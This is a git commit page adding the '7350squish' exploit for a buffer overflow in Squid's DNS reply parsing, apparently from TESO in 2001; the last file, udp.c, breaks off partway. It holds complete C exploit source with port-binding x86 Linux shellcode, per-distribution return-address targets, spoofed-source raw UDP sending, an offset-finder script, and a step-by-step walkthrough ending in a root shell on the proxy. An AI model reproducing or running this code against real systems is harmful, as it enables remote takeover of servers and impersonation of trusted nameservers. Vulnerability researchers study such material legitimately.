summaryrefslogtreecommitdiff
path: root/exploits/7350squish
diff options
context:
space:
mode:
authorRoot THC2026-02-24 12:42:47 +0000
committerRoot THC2026-02-24 12:42:47 +0000
commitc9cbeced5b3f2bdd7407e29c0811e65954132540 (patch)
treeaefc355416b561111819de159ccbd86c3004cf88 /exploits/7350squish
parent073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff)
initial
Diffstat (limited to 'exploits/7350squish')
-rw-r--r--exploits/7350squish/7350squishbin0 -> 12419 bytes
-rw-r--r--exploits/7350squish/7350squish-0.1.tar.gzbin0 -> 7345 bytes
-rw-r--r--exploits/7350squish/7350squish.c642
-rw-r--r--exploits/7350squish/7350squish.txt94
-rw-r--r--exploits/7350squish/deb/squid_2.3.4-2_i386.debbin0 -> 666056 bytes
-rw-r--r--exploits/7350squish/deb/squid_2.4.1-1_i386.debbin0 -> 671672 bytes
-rw-r--r--exploits/7350squish/deb/squid_2.4.1-2_i386.debbin0 -> 671734 bytes
-rw-r--r--exploits/7350squish/deb/squid_2.4.1-3_i386.debbin0 -> 671786 bytes
-rw-r--r--exploits/7350squish/deb/squid_2.4.1-4_i386.debbin0 -> 672908 bytes
-rw-r--r--exploits/7350squish/deb/squid_2.4.1-5_i386.debbin0 -> 672822 bytes
-rw-r--r--exploits/7350squish/deb/squid_2.4.2-1_i386.debbin0 -> 675904 bytes
-rw-r--r--exploits/7350squish/offset-find.sh67
-rw-r--r--exploits/7350squish/tagspace.c42
-rw-r--r--exploits/7350squish/udp.c232
14 files changed, 1077 insertions, 0 deletions
diff --git a/exploits/7350squish/7350squish b/exploits/7350squish/7350squish
new file mode 100644
index 0000000..5b169c4
--- /dev/null
+++ b/exploits/7350squish/7350squish
Binary files differ
diff --git a/exploits/7350squish/7350squish-0.1.tar.gz b/exploits/7350squish/7350squish-0.1.tar.gz
new file mode 100644
index 0000000..24ced36
--- /dev/null
+++ b/exploits/7350squish/7350squish-0.1.tar.gz
Binary files differ
diff --git a/exploits/7350squish/7350squish.c b/exploits/7350squish/7350squish.c
new file mode 100644
index 0000000..79b8f86
--- /dev/null
+++ b/exploits/7350squish/7350squish.c
@@ -0,0 +1,642 @@
1/* 7350squish - x86/linux squid remote exploit
2 *
3 * TESO CONFIDENTIAL - SOURCE MATERIALS
4 *
5 * This is unpublished proprietary source code of TESO Security.
6 *
7 * The contents of these coded instructions, statements and computer
8 * programs may not be disclosed to third parties, copied or duplicated in
9 * any form, in whole or in part, without the prior written permission of
10 * TESO Security. This includes especially the Bugtraq mailing list, the
11 * www.hack.co.za website and any public exploit archive.
12 *
13 * The distribution restrictions cover the entire file, including this
14 * header notice. (This means, you are not allowed to reproduce the header).
15 *
16 * (C) COPYRIGHT TESO Security, 2001
17 * All Rights Reserved
18 *
19 *****************************************************************************
20 * bug found by scut 2001/09/10
21 * further research by lorian.
22 * exploit by lorian. (beefed up by scut ;)
23 *
24 * squid-2.4.1/lib/rfc1035.c:278:# logic fuckup, buffer overflow
25 */
26
27#define VERSION "0.1"
28
29#include <sys/types.h>
30#include <sys/socket.h>
31#include <netinet/in.h>
32#include <arpa/inet.h>
33#include <netinet/ip.h>
34#include <netinet/udp.h>
35
36#include <arpa/nameser.h>
37
38#include <stdio.h>
39#include <stdlib.h>
40#include <unistd.h>
41
42
43typedef struct {
44 char * desc; /* distribution */
45 unsigned char * shellcode;
46 unsigned int shellcode_len;
47
48 unsigned long int retloc; /* return address location */
49 unsigned long int retaddr; /* return address */
50
51 /* resource data length, must be (n * 0x40) + 2 */
52 unsigned int rdata_len;
53
54 /* bytes in decoded dns domain until the next chunk starts */
55 unsigned int chunk_start;
56} tgt_type;
57
58
59unsigned char x86_lnx_loop[] = "\xeb\xfe";
60
61/* x86/linux pic portshell shellcode, by lorian / teso
62 * small mods by scut
63 *
64 * you can exchange it as you like, just obey the conditions:
65 *
66 * - sliceable on 4 byte boundaries
67 * - pic in itself (i.e. no jmp/callback tricks, no relative addressing)
68 * - any bytes allowed (NUL, 0x0a, 0x0d, 0x25, ... everything)
69 * - should be small (< 128 bytes at least)
70 */
71unsigned char x86_lnx_portshell[] =
72 "\x31\xc0" /* xor %eax, %eax */
73 "\x99" /* cltd */
74 "\x50" /* push %eax */
75
76 "\xfe\xc0" /* inc %al */
77 "\x89\xc3" /* mov %eax, %ebx */
78
79 "\x50" /* push %eax */
80 "\xfe\xc0" /* inc %al */
81 "\x50" /* push %eax */
82
83 "\x89\xe1" /* mov %esp, %ecx */
84 "\xb0\x66" /* mov $0x66, %al */
85
86 "\xcd\x80" /* int $0x80 */
87 "\x52" /* push %edx */
88 "\x90" /* nop */
89
90 "\x66\x68\x50\x73" /* pushw $0x7350 */ /* port number */
91
92 "\x66\x52" /* push %dx */
93 "\x89\xe2" /* mov %esp, %edx */
94
95 "\x6a\x10" /* push $0x10 */
96 "\x52" /* push %edx */
97 "\x50" /* push %eax */
98
99 "\x89\xe1" /* mov %esp, %ecx */
100 "\xfe\xc3" /* inc %bl */
101
102 "\x89\xc2" /* mov %eax, %edx */
103 "\xb0\x66" /* mov $0x66, %al */
104
105 "\xcd\x80" /* int $0x80 */
106 "\x90" /* nop */
107 "\x90" /* nop */
108
109 "\x80\xc3\x02" /* add $0x02, %bl */
110 "\x90" /* nop */
111
112 "\xb0\x66" /* mov $0x66, %al */
113 "\xcd\x80" /* int $0x80 */
114
115 "\x50" /* push %eax */
116 "\x52" /* push %edx */
117 "\x89\xe1" /* mov %esp, %ecx */
118
119 "\xfe\xc3" /* inc %bl */
120 "\xb0\x66" /* mov $0x66, %al */
121
122 "\xcd\x80" /* int $0x80 */
123 "\x89\xc3" /* mov %eax, %ebx */
124
125 "\x31\xc9" /* xor %ecx, %ecx */
126 "\xb0\x3f" /* mov $0x3f, %al */
127
128 "\xcd\x80" /* int $0x80 */
129 "\xfe\xc1" /* inc %cl */
130
131 "\xb0\x3f" /* mov $0x3f, %al */
132 "\xcd\x80" /* int $0x80 */
133
134 "\xb0\x0b" /* mov $0x0b, %al */
135 "\x99" /* cltd */
136 "\x52" /* push %edx */
137
138 "\x66\x68\x73\x68" /* pushw $0x6873 */
139
140 "\x66\x68\x6e\x2f" /* pushw $0x2f6e */
141
142 "\x66\x68\x62\x69" /* pushw $0x6962 */
143
144 "\x66\x68\x2f\x2f" /* pushw $0x2f2f */
145
146 "\x89\xe3" /* mov %esp, %ebx */
147 "\x52" /* push %edx */
148 "\x53" /* push %ebx */
149
150 "\x89\xe1" /* mov %esp, %ecx */
151 "\xcd\x80" /* int $0x80 */
152 "";
153
154#define X86_LNX_PS_PORT_HIGH 22
155#define X86_LNX_PS_PORT_LOW 23
156
157
158tgt_type targets[] = {
159 { "DEBUG: crash target", x86_lnx_loop, sizeof (x86_lnx_loop) - 1,
160 0x55555555, 0x66666666, 0x0182, 288 },
161
162/* XXX: not yet working, fixme
163 { "Debian sid - squid_2.3.4-2_i386.deb",
164 x86_lnx_portshell, sizeof (x86_lnx_portshell) - 1,
165 0x080ee434, 0x080dcc2f, 0x0182, 288 },
166*/
167
168 { "Debian sid - squid_2.4.1-1_i386.deb",
169 x86_lnx_portshell, sizeof (x86_lnx_portshell) - 1,
170 0x080df07c, 0x080f0f90, 0x0182, 288 },
171 { "Debian sid - squid_2.4.1-2_i386.deb",
172 x86_lnx_portshell, sizeof (x86_lnx_portshell) - 1,
173 0x080df07c, 0x080f0f90, 0x0182, 288 },
174 { "Debian sid - squid_2.4.1-3_i386.deb",
175 x86_lnx_portshell, sizeof (x86_lnx_portshell) - 1,
176 0x080df07c, 0x080f0f90, 0x0182, 288 },
177 { "Debian sid - squid_2.4.1-4_i386.deb",
178 x86_lnx_portshell, sizeof (x86_lnx_portshell) - 1,
179 0x080df59c, 0x080f14b0, 0x0182, 288 },
180 { "Debian sid - squid_2.4.1-5_i386.deb",
181 x86_lnx_portshell, sizeof (x86_lnx_portshell) - 1,
182 0x080df4bc, 0x080f13d0, 0x0182, 288 },
183 { "Debian sid - squid_2.4.1-6_i386.deb",
184 x86_lnx_portshell, sizeof (x86_lnx_portshell) - 1,
185 0x080df4bc, 0x080f2970, 0x0182, 288 },
186 { "Debian sid - squid_2.4.2-1_i386.deb",
187 x86_lnx_portshell, sizeof (x86_lnx_portshell) - 1,
188 0x080df838, 0x080f2cf0, 0x0182, 288 },
189
190 { "UNTST RedHat 6.2 (Zoot) - Squid 2.3.STABLE1",
191 x86_lnx_portshell, sizeof (x86_lnx_portshell) - 1,
192 0x080bc738, 0x080cd700, 0x0182, 288 },
193 { "UNTST Mandrake 8.0 (Traktopel) - squid-2.3.STABLE4-5mdk.i586.rpm",
194 x86_lnx_portshell, sizeof (x86_lnx_portshell) - 1,
195 0x080d49f4, 0x080e5a40, 0x0182, 288 },
196
197 { NULL, 0, 0 },
198};
199
200/* how much bytes we have to keep untouched before the first chunk
201 * do not touch, except you know exactly what you're doing
202 */
203#define CHUNK_PM 4
204
205
206/* our prototypes */
207int xp_build (tgt_type *tgt, unsigned char *buf, unsigned long int buf_len);
208void usage (char *progname);
209
210
211/* raw socket and ip prototypes */
212int udp_sendpkt (struct sockaddr_in *sin, int s,
213 unsigned char *data,
214 unsigned short int datalen,
215 unsigned long int saddr, unsigned long int daddr,
216 unsigned short int sport, unsigned short int dport);
217int send_packet (char *nsname, short nsport, char *dest, short port,
218 char *buf, int size);
219unsigned short in_cksum (unsigned short *addr, int len);
220
221
222void
223usage (char *progname)
224{
225 fprintf (stderr, "usage: %s [-t <num>] [-p <p#>] <source> <dest>\n\n",
226 progname);
227
228 fprintf (stderr, "-t num\tchoose target (0 for list)\n"
229 "-p p#\tport of spawned portshell\n"
230 "source\tis <source-ip>:<source-port>, of a trusted "
231 "nameserver\n"
232 "dest\tis <dest-ip>:<dest-port>, of the squid resolver\n\n");
233 fprintf (stderr, "note: the squid resolver is bound to some high "
234 "udp port at startup\n"
235 " time. you have to catch this port number once (it is "
236 "a normal DGRAM\n"
237 " socket). in the default configuration squid only "
238 "trusts the default\n"
239 " nameservers, so you have to spoof that, too. in the "
240 "ideal case you can\n"
241 " sniff the nameserver squid uses.\n\n");
242
243 exit (EXIT_FAILURE);
244}
245
246
247int
248main (int argc, char *argv[])
249{
250 int len,
251 n;
252 char c;
253 char buffer[512];
254
255 tgt_type * tgt;
256 int tgt_num = -1;
257
258 char srcip[64],
259 dstip[64];
260 unsigned short int srcp,
261 dstp;
262 unsigned short pnum = 0x7350;
263
264
265 printf ("7350squish - x86/linux squid remote exploit. version "VERSION"\n"
266 "lorian & scut\n\n");
267
268
269 while ((c = getopt (argc, argv, "t:p:")) != EOF) {
270 switch (c) {
271 case 't':
272 tgt_num = atoi (optarg);
273 break;
274 case 'p':
275 if (sscanf (optarg, "%hu", &pnum) != 1)
276 usage (argv[0]);
277
278 break;
279 default:
280 usage (argv[0]);
281 break;
282 }
283 }
284
285 x86_lnx_portshell[X86_LNX_PS_PORT_HIGH] = (pnum >> 8) & 0xff;
286 x86_lnx_portshell[X86_LNX_PS_PORT_LOW] = pnum & 0xff;
287
288
289 if (tgt_num < 0) {
290 fprintf (stderr, "WARNING: no target selected, using default\n");
291 tgt_num = 1;
292 }
293
294 if (tgt_num == 0 ||
295 tgt_num >= (sizeof (targets) / sizeof (tgt_type)))
296 {
297 if (tgt_num != 0)
298 printf ("WARNING: target out of list. giving list\n\n");
299
300 printf ("num . description\n");
301 printf ("----+-------------------------------------------------------\n");
302
303 for ( ; targets[tgt_num].desc != NULL ; ++tgt_num)
304 printf ("%3d | %s\n", tgt_num + 1,
305 targets[tgt_num].desc);
306
307 printf (" '\n");
308
309 exit (EXIT_SUCCESS);
310 }
311
312 if ((argc - optind) != 2)
313 usage (argv[0]);
314
315 if ((sscanf (argv[optind], "%63[^:]:%hu", srcip, &srcp) != 2) ||
316 (sscanf (argv[optind + 1], "%63[^:]:%hu", dstip, &dstp) != 2))
317 {
318 usage (argv[0]);
319 }
320
321
322 tgt = &targets[tgt_num - 1];
323
324 printf ("TARGET: %s\n", tgt->desc);
325 printf ("OFFSET: 0x%08lx (retloc) 0x%08lx (retaddr) %u/%u\n",
326 tgt->retloc, tgt->retaddr, tgt->rdata_len, tgt->chunk_start);
327 printf ("DIRECT: %s %hu -> %s %hu\n", srcip, srcp, dstip, dstp);
328 printf ("\n");
329
330
331 len = xp_build (tgt, buffer, sizeof (buffer));
332 printf ("- build %d byte exploitation buffer\n", len);
333 printf ("- sending... ");
334 fflush (stdout);
335
336 n = send_packet (srcip, srcp, dstip, dstp,
337 (unsigned char *) &buffer, len);
338 if (n == -1) {
339 printf ("failed. exiting\n");
340
341 exit (EXIT_FAILURE);
342 }
343
344 printf ("done.\n");
345
346 printf ("\n- try \"telnet %s %hu\" now.\n", dstip, pnum);
347 printf ("\n");
348
349 exit (EXIT_SUCCESS);
350}
351
352
353/* xp_build
354 *
355 * build exploitation buffer for target `tgt', into `buf', which is `buf_len'
356 * bytes long. no boundary checking is done, `buf' must be large enough
357 *
358 * return length of constructed packet
359 */
360
361int
362xp_build (tgt_type *tgt, unsigned char *buf, unsigned long int buf_len)
363{
364 int n;
365 unsigned char * w; /* walker */
366 unsigned char * xpb; /* exploitation buffer */
367 unsigned char * chunk;
368 HEADER * hdr = (HEADER *) buf;
369
370
371 memset (buf, '\x00', buf_len);
372
373 /* setup bogus reply header
374 */
375 hdr->id = 0x7350;
376 hdr->qr = 1;
377 hdr->opcode = ns_o_query;
378 hdr->aa = 1;
379 hdr->rcode = ns_r_noerror;
380 hdr->rd = hdr->ra = 1;
381
382 hdr->qdcount = htons (0x0001);
383 hdr->ancount = htons (0x0002);
384 hdr->nscount = hdr->arcount = htons (0x0000);
385
386 w = buf + sizeof (HEADER);
387
388 /* bogus NUL query */
389 *w++ = '\x00';
390 PUTSHORT (ns_t_a, w); /* type */
391 PUTSHORT (ns_c_in, w); /* class */
392
393 /* and the NUL answer */
394 *w++ = '\x00';
395 PUTSHORT (ns_t_a, w); /* type */
396 PUTSHORT (ns_c_in, w); /* class */
397 PUTLONG (0x00000537, w); /* ttl */
398 PUTSHORT (0x182, w); /* TODO: extend */
399
400 xpb = w;
401
402 /* maximum label length blocks
403 */
404 for (n = tgt->rdata_len / 0x40 ; n > 0 ; --n) {
405 *w = '\x3f';
406 w += 0x40;
407 }
408
409 /* write down shellcode and jmp-ahead nops
410 */
411 {
412 int wlen; /* walking length */
413 unsigned char * stp; /* store pointer */
414 unsigned char * scp; /* shellcode pointer */
415 unsigned char * codestart; /* upper end of stored shellcode */
416
417 /* make scp point to the last byte of the shellcode, then
418 * walk the entire mess backwards, copying and slicing the
419 * code into 4 byte chunks
420 */
421 scp = tgt->shellcode + tgt->shellcode_len;
422
423 stp = xpb + tgt->chunk_start - CHUNK_PM;
424 wlen = tgt->chunk_start - CHUNK_PM - 1;
425 wlen %= 0x40;
426// wlen = 0x3f;
427
428 for ( ; scp > tgt->shellcode ; ) {
429 int clen;
430
431 clen = 4;
432 if ((scp - tgt->shellcode) < clen)
433 clen = scp - tgt->shellcode;
434
435 memcpy (stp - clen, scp - clen, clen);
436 stp -= clen;
437 scp -= clen;
438 wlen -= clen;
439
440 if (wlen < 4) {
441 memcpy (stp - wlen, "\x90\x90\x90", wlen);
442 stp -= wlen + 1;
443
444 /* jump ahead (over domain length byte)
445 */
446 *--stp = '\x01';
447 *--stp = '\xeb';
448
449 wlen = 0x3f - 2;
450 }
451
452 }
453 codestart = stp;
454
455 /* now, fill the rest with jump-ahead nops
456 */
457 while (stp > xpb) {
458 for ( ; wlen >= 2 ; wlen -= 2) {
459 unsigned int dist;
460
461 dist = codestart - stp;
462 if (dist >= 0x80)
463 dist = 0x7e;
464
465 *--stp = (unsigned char) dist;
466 *--stp = '\xeb';
467 }
468
469 if (wlen == 1) {
470 *--stp = '\x90';
471 wlen -= 1;
472 }
473
474 stp -= 1; /* label lenght byte */
475 wlen = 0x3f;
476 }
477 }
478
479 n = tgt->rdata_len % 0x40;
480 if (n != 2) {
481 fprintf (stderr, "invalid remaining buffer space\n");
482
483 exit (EXIT_FAILURE);
484 }
485
486 *w++ = '\xc0'; /* compression marker for last label */
487 *w++ = '\x0c'; /* directly after HEADER */
488
489
490 /* second answer */
491 *w++ = '\xc0';
492 *w++ = '\x1c';
493 PUTSHORT (ns_t_a, w);
494 PUTSHORT (ns_c_in, w);
495 PUTLONG (0x00000537, w);
496 PUTSHORT (0x0000, w);
497
498
499 /* now to the messy details ;)
500 * we overflow the buffer the domain is decoded to, hence we need to
501 * align our dns packet buffer to the decoded buffer (+1). the chunk
502 * will be at tgt->chunk_start then.
503 */
504 chunk = xpb + 1 + tgt->chunk_start;
505
506 /* XXX: wtf do we need this? (fails w/o tho)
507 */
508 chunk[-4] = chunk[-3] = chunk[-2] = chunk[-1] = '\x00';
509 /* prev_size = NULL */
510 chunk[0] = chunk[1] = chunk[2] = chunk[3] = '\x00';
511 /* little endian this_size: 64 bytes with PREV_INUSE set */
512 chunk[4] = '\x41';
513 chunk[5] = chunk[6] = chunk[7] = '\x00';
514
515 /* ->fd = retloc - 12 */
516 chunk[8] = (tgt->retloc - 12) & 0xff;
517 chunk[9] = ((tgt->retloc - 12) >> 8) & 0xff;
518 chunk[10] = ((tgt->retloc - 12) >> 16) & 0xff;
519 chunk[11] = ((tgt->retloc - 12) >> 24) & 0xff;
520
521 /* ->bk = retaddr, XXX: retaddr[8] to retaddr[11] will be crushed */
522 chunk[12] = tgt->retaddr & 0xff;
523 chunk[13] = (tgt->retaddr >> 8) & 0xff;
524 chunk[14] = (tgt->retaddr >> 16) & 0xff;
525 chunk[15] = (tgt->retaddr >> 24) & 0xff;
526
527 /* create a second fake chunk (prev_size = NULL, this_size = pad) */
528 chunk += 0x40;
529 chunk[0] = chunk[1] = chunk[2] = chunk[3] = '\x00';
530 chunk[4] = '\x48';
531 chunk[5] = '\x01';
532 chunk[6] = chunk[7] = '\x00';
533
534
535 return ((int) (w - buf));
536}
537
538
539
540/* XXX: where is the following stuff ripped from? -sc */
541
542/* Send faked UDP packet. */
543int
544udp_sendpkt (struct sockaddr_in *sin, int s,
545 unsigned char *data,
546 unsigned short int datalen,
547 unsigned long int saddr, unsigned long int daddr,
548 unsigned short int sport, unsigned short int dport)
549{
550 struct iphdr ip;
551 struct udphdr udp;
552 char packet[8192];
553
554 /* Fill in IP header values. */
555 ip.ihl = 5;
556 ip.version = 4;
557 ip.tos = 0;
558 ip.tot_len = htons (28 + datalen);
559 ip.id = 0x7350;
560 ip.frag_off = 0;
561 ip.ttl = 255;
562 ip.protocol = IPPROTO_UDP;
563 ip.check = 0;
564 ip.saddr = saddr;
565 ip.daddr = daddr;
566 ip.check = in_cksum ((unsigned short *) &ip, sizeof(ip));
567
568 /* Fill in UDP header values. Checksums are unnecassary. */
569 udp.source = htons (sport);
570 udp.dest = htons (dport);
571 udp.len = htons (8 + datalen);
572 udp.check = (unsigned short) 0;
573
574 /* Copy the headers into our character array. */
575 memcpy (packet, (char *) &ip, sizeof (ip));
576 memcpy (packet + sizeof (ip), (char *) &udp, sizeof (udp));
577 memcpy (packet + sizeof (ip) + sizeof (udp), (char *) data, datalen);
578
579 return (sendto (s, packet, sizeof (ip) + sizeof (udp) + datalen, 0,
580 (struct sockaddr *) sin, sizeof (struct sockaddr_in)));
581}
582
583
584int
585send_packet (char *nsname, short nsport, char *dest, short port, char *buf,
586 int size)
587{
588 int fd,
589 socktolen;
590 struct sockaddr_in sockto;
591 struct in_addr in,
592 ns;
593
594 fd = socket (AF_INET, SOCK_RAW, IPPROTO_RAW);
595 if (fd == -1) {
596 perror ("unable to create raw socket:");
597
598 exit (EXIT_FAILURE);
599 }
600
601 socktolen = sizeof (struct sockaddr_in);
602
603 inet_aton (dest, &in);
604 inet_aton (nsname, &ns);
605
606 socktolen = sizeof (struct sockaddr_in);
607 memset (&sockto, 0, socktolen);
608
609 sockto.sin_family = AF_INET;
610 sockto.sin_port = htons (port);
611 sockto.sin_addr.s_addr = in.s_addr;
612
613 return (udp_sendpkt (&sockto, fd, buf, size, ns.s_addr, in.s_addr,
614 nsport, port));
615}
616
617
618unsigned short
619in_cksum (unsigned short *addr, int len)
620{
621 int nleft = len;
622 int sum = 0;
623 unsigned short answer = 0;
624 unsigned short * w = addr;
625
626 while (nleft > 1) {
627 sum += *w++;
628 nleft -= 2;
629 }
630
631 if (nleft == 1) {
632 *(u_char *)(&answer) = *(u_char *)w;
633 sum += answer;
634 }
635
636 sum = (sum >> 16) + (sum & 0xffff);
637 sum += (sum >> 16);
638 answer = ~sum;
639
640 return (answer);
641}
642
diff --git a/exploits/7350squish/7350squish.txt b/exploits/7350squish/7350squish.txt
new file mode 100644
index 0000000..e6debb2
--- /dev/null
+++ b/exploits/7350squish/7350squish.txt
@@ -0,0 +1,94 @@
1
2
3exploitation
4============
5
6Squid uses the same UDP port all the time for its resolver. You have to find
7this port number. Also, you need to find the trusted nameserver and its port
8(always 53). Some Squids trust every nameserver, but most (default) do only
9trust the default nameserver. So you either have to be in the local LAN or be
10able to spoof packets from the trusted nameservers address. The UDP port
11number is high ephemeral and for most Linux installations, it is somewhere
12around (32768 - 32900). The offsets are tight, you will have to get the exact
13stuff or brute long. Since you attack the child process of Squid, which gets
14restarted on crash, you have unlimited tries. Each try creates two log entries
15in the squid logfile.
16
17Exploitation example:
18---------------------
19
20192.168.144.6 is the Squid server, 130.149.17.5 the default nameserver it uses
21and trusts.
22
23# tcpdump -n src 192.168.144.6 and udp and dst port 53 &
24# (echo "HEAD http://test.ts/ HTTP/1.0" ; echo ) | \
25 nc 192.168.144.6 3128 >/dev/null
2618:57:03.070418 192.168.144.6.32819 > 130.149.17.5.53: 9+ A? test.ts. (25) (DF)
27 ^^^^^
28We see the sourceport it uses and the trusted nameserver address.
29
30# ./7350squish -t 3 -p 4050 130.149.17.5:53 192.168.144.6:32819 \
31 2>&1 >/dev/null
32
33After the packet has been send, we need to trigger the resolver a second time
34to let it read our packet.
35
36# (echo "HEAD http://test2.ts/ HTTP/1.0" ; echo) | \
37 nc 192.168.144.6 3128 >/dev/null
38# telnet 192.168.144.6 4050
39Trying 192.168.144.6...
40Connected to 192.168.144.6.
41Escape character is '^]'.
42id;
43uid=0(root) gid=13(proxy) euid=13(proxy) groups=13(proxy)
44
45
46On some systems, Squid runs as uid=0 (for some strange reason I've to figure
47out), debian sid for example.
48
49
50offsets
51=======
52
53retloc:
54-------
55
56Any GOT entry that is used often will do fine:
57
58# objdump --dynamic-reloc /usr/sbin/squid | grep memcpy
59080df838 R_386_JUMP_SLOT memcpy
60
61retaddr:
62--------
63
64There are multiple places we can return to, but this is the most fixed one
65(static lower heap buffer).
66
67
68# ltrace -o out -p `ps auxwww|egrep "\(squid\)"|awk '{print $2}'`
69
70(on another term, use the squid, as in):
71
72# (echo "HEAD http://www.cow.org/ HTTP/1.0";echo) | nc 127.0.0.1 3128
73
74(now abort the ltrace process).
75
76# grep recvfrom out
77
78Will give output like:
79
801630 recvfrom(5, 0x080f2c60, 512, 0, 0xbfff79bc) = 116
811630 recvfrom(5, 0x080f2c60, 512, 0, 0xbfff79bc) = -1
82 ^^^^^^^^^^
83
84retaddr = 0x080f2c60 + 0x90 = 0x080f2cf0
85
86
87alignments:
88-----------
89
90The default (0x0182, 288) should be just fine. If not, those are more
91difficult to get.
92
93
94
diff --git a/exploits/7350squish/deb/squid_2.3.4-2_i386.deb b/exploits/7350squish/deb/squid_2.3.4-2_i386.deb
new file mode 100644
index 0000000..f30654b
--- /dev/null
+++ b/exploits/7350squish/deb/squid_2.3.4-2_i386.deb
Binary files differ
diff --git a/exploits/7350squish/deb/squid_2.4.1-1_i386.deb b/exploits/7350squish/deb/squid_2.4.1-1_i386.deb
new file mode 100644
index 0000000..726eba1
--- /dev/null
+++ b/exploits/7350squish/deb/squid_2.4.1-1_i386.deb
Binary files differ
diff --git a/exploits/7350squish/deb/squid_2.4.1-2_i386.deb b/exploits/7350squish/deb/squid_2.4.1-2_i386.deb
new file mode 100644
index 0000000..4772f25
--- /dev/null
+++ b/exploits/7350squish/deb/squid_2.4.1-2_i386.deb
Binary files differ
diff --git a/exploits/7350squish/deb/squid_2.4.1-3_i386.deb b/exploits/7350squish/deb/squid_2.4.1-3_i386.deb
new file mode 100644
index 0000000..ff82ece
--- /dev/null
+++ b/exploits/7350squish/deb/squid_2.4.1-3_i386.deb
Binary files differ
diff --git a/exploits/7350squish/deb/squid_2.4.1-4_i386.deb b/exploits/7350squish/deb/squid_2.4.1-4_i386.deb
new file mode 100644
index 0000000..709053f
--- /dev/null
+++ b/exploits/7350squish/deb/squid_2.4.1-4_i386.deb
Binary files differ
diff --git a/exploits/7350squish/deb/squid_2.4.1-5_i386.deb b/exploits/7350squish/deb/squid_2.4.1-5_i386.deb
new file mode 100644
index 0000000..021970e
--- /dev/null
+++ b/exploits/7350squish/deb/squid_2.4.1-5_i386.deb
Binary files differ
diff --git a/exploits/7350squish/deb/squid_2.4.2-1_i386.deb b/exploits/7350squish/deb/squid_2.4.2-1_i386.deb
new file mode 100644
index 0000000..2656456
--- /dev/null
+++ b/exploits/7350squish/deb/squid_2.4.2-1_i386.deb
Binary files differ
diff --git a/exploits/7350squish/offset-find.sh b/exploits/7350squish/offset-find.sh
new file mode 100644
index 0000000..dad7232
--- /dev/null
+++ b/exploits/7350squish/offset-find.sh
@@ -0,0 +1,67 @@
1#!/bin/sh
2
3# 7350squish offset finder
4# lorian & scut
5
6check_util ()
7{
8 for util in $*; do
9 echo -n "checking for $util: "
10 if ! which $util; then
11 echo "not found, aborting"
12 exit
13 fi
14 done
15}
16
17echo "7350squish exploit offset finder"
18echo
19
20if [ $# != 1 ]; then
21 echo "usage: $0 /path/to/squid/binary"
22 echo
23 exit
24fi;
25
26
27check_util awk objdump
28
29echo
30
31bufferbase=`objdump -D $1 2>/dev/null | \
32 grep "68 00 02 00 00" -A 1 | tail -1 | cut -d '$' -f2`
33
34retaddr=`echo $bufferbase | awk 'function hex2num(s)
35{
36 n = length (s)
37 v = 0
38 for (i = 1; i < n-1; i++) {
39 c = tolower(substr (s, i+2, 1));
40 if (c=="a") c=10;
41 if (c=="b") c=11;
42 if (c=="c") c=12;
43 if (c=="d") c=13;
44 if (c=="e") c=14;
45 if (c=="f") c=15;
46 v = v * 16 + c;
47 }
48 return v
49}
50{
51 printf ("0x%08x\n", hex2num ($0) + 144)
52}'`
53
54#retaddr=`echo $bufferbase | awk '{ printf ("0x%08x\n", $0 + 144) }'`
55
56retloc=`objdump -R $1 2>/dev/null | \
57 grep "memcpy$" | awk '{ printf ("0x%s", $1) }'`
58
59echo "{ \"NEW TARGET\","
60echo "x86_lnx_portshell, sizeof (x86_lnx_portshell) - 1,"
61echo "$retloc, /* GOT: memcpy */"
62echo "$retaddr, /* packet receive buffer + 0x90 */"
63echo "0x0182, 288 },"
64echo
65
66echo finished.
67
diff --git a/exploits/7350squish/tagspace.c b/exploits/7350squish/tagspace.c
new file mode 100644
index 0000000..75d3871
--- /dev/null
+++ b/exploits/7350squish/tagspace.c
@@ -0,0 +1,42 @@
1
2/* tagspace engine
3 * -scut
4 */
5
6
7typedef struct ts_tag {
8 struct ts_tag * next;
9 unsigned int rel;
10 unsigned int len;
11} ts_tag;
12
13
14ts_tag *
15ts_add (ts_tag *t, unsigned int rel, unsigned int len)
16{
17 ts_tag * w;
18
19 for (w = t ; w != NULL ; w = w->next) {
20 if (w->rel <= rel && (w->rel + w->len) >= (rel + len))
21 return (t); /* already in */
22
23 /* case 1: a part of rel is already in the tag */
24 if (w->rel <= rel && (w->rel + w->len) >= rel) {
25 w->len = rel + len - w->rel;
26
27 return (t);
28 }
29
30 /* case 2: end of rel cuts tag */
31 /* XXX: TODO: FIXME */
32 }
33
34 w = calloc (1, sizeof (ts_tag));
35 w->next = t;
36 w->rel = rel;
37 w->len = len;
38
39 return (w);
40}
41
42
diff --git a/exploits/7350squish/udp.c b/exploits/7350squish/udp.c
new file mode 100644
index 0000000..f8c9d9f
--- /dev/null
+++ b/exploits/7350squish/udp.c
@@ -0,0 +1,232 @@
1/* 7350squish - x86/linux squid remote exploit
2 *
3 * TESO CONFIDENTIAL - SOURCE MATERIALS
4 *
5 * This is unpublished proprietary source code of TESO Security.
6 *
7 * The contents of these coded instructions, statements and computer
8 * programs may not be disclosed to third parties, copied or duplicated in
9 * any form, in whole or in part, without the prior written permission of
10 * TESO Security. This includes especially the Bugtraq mailing list, the
11 * www.hack.co.za website and any public exploit archive.
12 *
13 * The restrictions of distribution covers the entire file, including this
14 * header notice. (This means, you are not allowed to reproduce the header).
15 *
16 * (C) COPYRIGHT TESO Security, 2001
17 * All Rights Reserved
18 *
19 *****************************************************************************
20 * bug found by scut 2001/09/10
21 * further research by lorian.
22 * exploit by lorian and scut.
23 *
24 * squid-2.4.1/lib/rfc1035.c:278:# logic fuckup, buffer overflow
25 */
26
27#include <sys/types.h>
28#include <sys/socket.h>
29#include <netinet/in.h>
30#include <arpa/inet.h>
31#include <netinet/ip.h>
32#include <netinet/udp.h>
33
34#include <stdio.h>
35#include <stdlib.h>
36#include <unistd.h>
37
38char udp_packet[] =
39 "\x00\x01\x85\x80\x00\x01\x00\x02" /* header */
40 "\x00\x00\x00\x00"
41 "\x00" /* question name */
42 "\x00\x01\x00\x01" /* question type+class */
43
44 /* answer 1 */
45 "\x00"
46 "\x00\x01\x00\x01\x00\x00\x01\x2c"
47 "\x01\x82" /* rdata length */
48
49 /* rdata+answer 2 */
50 "\x3f"
51 "\x00\x00\x00\x00\x00\x00\x00\x00" /* 0-63 */
52 "\x00\x00\x00\x00\x00\x00\x00\x00"
53 "\x00\x00\x00\x00\x00\x00\x00\x00"
54 "\x00\x00\x00\x00\x00\x00\x00\x00"
